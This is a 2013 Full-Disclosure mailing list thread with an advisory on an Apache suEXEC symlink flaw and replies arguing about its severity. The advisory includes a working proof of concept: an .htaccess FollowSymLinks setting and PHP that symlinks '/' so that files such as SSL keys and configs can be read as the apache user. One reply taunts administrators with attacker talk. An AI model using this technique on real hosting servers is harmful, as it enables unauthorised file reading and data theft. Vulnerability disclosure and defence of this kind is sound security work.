mailing list archives
RE: [Full-disclosure] Apache suEXEC privilege elevation /
From: "Dico Emil" <emil () abonet ro>
Date: Fri, 9 Aug 2013 13:51:04 +0300
Kingcope, I think is the same risk if you are whatever user or apache to get
to root, so this is a not a big deal.
+ I do agree with Kingcope this time. However is not specially a bug, but an
architecture issue. Is not normal for an user to setuid-read to apache just
because a suexecd script is putting a symlink to / root:root owned
I did not test deeply this one, I replicated and is working. But just in 10
seconds of thinking, I can see reading issues, from reading SSL key/crt, log
files, configs and so on... Yes, this can be "fixed" with proper security.
But just because you can change the lock to your car, does not mean the
factory should not fix the vulnerable lock.
Kingcope, this bug works just to read files, owned by httpd or where
everybody else has perms. You can't execute or do any other damage, except
data gathering as apache user.
Since it breaks the architecture logic, I don't see how Apache will/want to
fix this. The only _proper_ way to do this, will be Apache to add the suPHP
to Apache, and what I mean is to implement their own suPHP proper, based on
the actual web hosting jailing needs. We are in 2013, everybody implements
all crazy things and useless options around, but there is still not
vhost/user/etc 100% jailing Apache based.
From: Full-Disclosure [mailto:full-disclosure-bounces () lists grok org uk] On
Behalf Of Kingcope
Sent: Friday, August 9, 2013 12:33 PM
To: full-disclosure () lists grok org uk; bugtraq () securityfocus com
Subject: Re: [Full-disclosure] Apache suEXEC privilege elevation /
So the blackhat that Sits on ur Site and the site of ur company Since half a
year will stop at the point Where its "technically incorrect" and wont
escalate to root because "it doesnt have to do Anything with suexec". Its an
Old vuln so let it stay , better for us and soon our Data on your boxes.
Time to Write a Real Root exploit and dont waste the Time with sysadmins
that know how to set a flag in httpd.conf , apache devs included.
Am 09.08.2013 um 14:29 schrieb Kingcope
<isowarez.isowarez.isowarez () googlemail com>:
So what your Emails Tell me is better ignore this vulnerability. I dont
Claim its a High severity Bug but if you Tell People to ignore it Because it
isnt a vulnerability you are very much aiding the Chaos of insecurity in the
Internet today. You Maybe have a Secure Setting but theres only you on the
Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
we have compromises in a High Scale every Day due to this ignorance. My rant
on that One.
Am 07.08.2013 um 21:49 schrieb king cope
<isowarez.isowarez.isowarez () googlemail com>:
Apache suEXEC privilege elevation / information disclosure
Discovered by Kingcope/Aug 2013
The suEXEC feature provides Apache users the ability to run CGI and SSI
under user IDs different from the user ID of the calling web server.
when a CGI or SSI program executes, it runs as the same user who is
Used properly, this feature can reduce considerably the security risks
with allowing users to develop and run private CGI or SSI programs.
With this bug an attacker who is able to run php or cgi code inside a web
hosting environment and the environment is configured to use suEXEC as a
protection mechanism, he/she is able to read any file and directory on
system of the UNIX/Linux system with the user and group id of the
apache web server.
Normally php and cgi scripts are not allowed to read files with the
id inside a suEXEC configured environment.
Take for example this apache owned file and the php script that follows.
$ ls -la /etc/testapache
-rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
only user www-data should be able to read this file.
$ cat test.php
system("id; cat /etc/testapache");
When calling the php file using a webbrowser it will show...
uid=1002(example) gid=1002(example) groups=1002(example)
because the php script is run trough suEXEC.
The script will not output the file requested because of a permissions
Now if we create a .htaccess file with the content...
Options Indexes FollowSymLinks
and a php script with the content...
system("ln -sf / test99.php");
symlink("/", "test99.php"); // try builtin function in case when
//system() is blocked
in the same folder
..we can access the root filesystem with the apache uid,gid by
The above php script will simply create a symbolic link to '/'.
A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid
The reason we can now read out any files and traverse directories owned
apache user is because apache httpd displays symlinks and directory
without querying suEXEC.
It is not possible to write to files in this case.
Version notes. Assumed is that all Apache versions are affected by this
Server version: Apache/2.2.22 (Debian)
Server built: Mar 4 2013 21:32:32
Server's Module Magic Number: 20051115:30
Server loaded: APR 1.4.6, APR-Util 1.4.1
Compiled using: APR 1.4.6, APR-Util 1.4.1
Server MPM: Worker
threaded: yes (fixed thread count)
forked: yes (variable process count)
Server compiled with....
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia - http://secunia.com/
Re: Apache suEXEC privilege elevation / information disclosure Kingcope (Aug 09)
Re: Apache suEXEC privilege elevation / information disclosure Reindl Harald (Aug 09)